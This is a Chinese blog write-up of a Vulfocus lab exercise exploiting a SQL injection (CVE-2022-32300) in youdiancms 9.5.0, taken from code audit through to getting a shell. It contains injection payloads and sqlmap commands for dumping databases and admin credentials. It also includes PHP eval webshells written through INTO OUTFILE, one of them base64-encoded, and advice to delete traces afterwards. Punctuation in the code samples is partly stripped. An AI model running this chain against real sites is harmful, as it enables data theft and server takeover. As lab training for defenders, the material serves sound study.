Vulfocus靶场实战:youdiancms 9.5.0 SQL注入漏洞(CVE-2022-32300)从审计到Getshell

张开发
2026/4/7 20:08:59 15 分钟阅读

分享文章

Vulfocus靶场实战:youdiancms 9.5.0 SQL注入漏洞(CVE-2022-32300)从审计到Getshell
1. 环境准备与漏洞背景最近在Vulfocus靶场复现了一个经典案例——youdiancms 9.5.0版本的SQL注入漏洞CVE-2022-32300。这个CMS系统在中小企业网站中还挺常见漏洞利用链完整特别适合新手学习Web渗透的基础操作。我们先从最基础的环境搭建说起。首先在Vulfocus启动靶场后你会看到一个典型的安装界面。数据库配置建议用root/root数据库名填youdian就行。这里有个小细节要注意安装完成后记得删除install.php文件这是很多CMS系统的通病不处理的话容易被恶意利用。安装成功后用默认账号登录后台界面挺简洁的主要功能都在左侧菜单栏。说到这个漏洞的发现过程还挺有意思。官方补丁公告里只说了存在SQL注入风险但没具体说明漏洞点。我在审计源码时发现MailAction.class.php文件里的MailSendID参数直接拼接到SQL语句没有任何过滤处理。这种老式CMS喜欢用字符串拼接的方式构造SQL查询在早期版本中特别常见。2. 漏洞定位与手工验证2.1 源码审计关键点打开/App/Lib/Action/Admin/MailAction.class.php文件找到viewLog方法。你会看到类似这样的危险代码public function viewLog(){ $mailSendID $_GET[MailSendID]; $sql SELECT * FROM mail_log WHERE id.$mailSendID; $result $this-db-query($sql); //...后续处理逻辑 }看到问题了吗开发者直接用了GET参数拼接SQL语句连最基本的引号包裹都没有。这意味着我们可以在MailSendID参数里注入任何SQL代码。漏洞触发点在/index.php/Admin/mail/viewLog这个路由但有个前提——需要先登录后台。2.2 手工注入测试先用Burp Suite抓个正常请求包保存为req.txt。重点观察Cookie里的PHPSESSID和请求参数。我习惯先用简单payload测试比如/index.php/Admin/mail/viewLog?MailSendID1 and 11 /index.php/Admin/mail/viewLog?MailSendID1 and 12第一个请求应该返回正常数据第二个应该返回空内容。如果符合这个表现基本可以确认存在SQL注入。再试试更复杂的payload/index.php/Admin/mail/viewLog?MailSendID1 union select 1,2,3,4,5,6,7,8,9这个操作是为了确定字段数通过不断调整select后面的数字直到页面正常显示。我测试时发现这个表有9个字段其中第4、5个字段会回显在页面上。3. 自动化工具利用3.1 sqlmap基础操作虽然手工验证很有成就感但实战中还是sqlmap效率更高。准备好之前保存的req.txt运行python sqlmap.py -r req.txt --risk3 --level5 --dbs这里risk和level参数都调到最高因为我们需要充分探测漏洞。几分钟后应该能看到数据库列表其中肯定包含youdian这个库。接下来爆表名python sqlmap.py -r req.txt -D youdian --tables重点查看admin、user这类敏感表。我发现了youdian_admin表里面肯定存着管理员凭证。继续爆字段python sqlmap.py -r req.txt -D youdian -T youdian_admin --columns3.2 获取网站路径在写webshell之前我们需要知道网站绝对路径。通过sqlmap的--file-read参数可以尝试读取常见配置文件python sqlmap.py -r req.txt --file-read/var/www/html/config.php不过这个方法成功率不高。更靠谱的是结合目录扫描比如用dirsearch发现根目录存在install.php结合报错信息可以确定路径是/var/www/wordpress。记住这个路径后面写shell要用。4. 权限提升与Getshell4.1 写入Webshell有了路径信息最直接的利用方式就是通过SQL注入写文件。在sqlmap的sql-shell中执行SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/wordpress/shell.php但这里有个坑MySQL用户可能没有写权限。如果遇到这种情况可以尝试写日志文件或者临时目录。我常用的备用方案是SELECT ?php file_put_contents(shell.php,base64_decode(PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4));? INTO OUTFILE /var/www/wordpress/tmp.php4.2 数据库提权如果写文件失败可以考虑从数据库用户入手。先用sqlmap爆用户密码python sqlmap.py -r req.txt --users python sqlmap.py -r req.txt --passwords如果运气好拿到root密码可以直接连接MySQL进行操作。比如创建新用户、修改现有用户密码等。我遇到过一次案例通过mysql的UDF函数直接执行系统命令比写webshell还方便。4.3 获取flag最后一步就是常规操作了。用蚁剑连接写好的webshell在根目录或者/home下找flag文件。Vulfocus的flag通常格式为flag-{UUID}可以用find命令快速定位find / -name flag* 2/dev/null找到flag后记得清理痕迹删除webshell和临时文件。实战中还要注意不要影响业务正常运行这是基本的职业道德。5. 漏洞修复建议虽然这是个靶场演练但还是要说说修复方案。开发者应该做三件事使用预处理语句重构所有SQL查询对MailSendID参数做强制类型转换intval增加后台操作的权限校验对于使用这类CMS的站长建议立即升级到最新版本。如果暂时不能升级可以在WAF中添加针对MailSendID参数的特殊字符过滤规则。

更多文章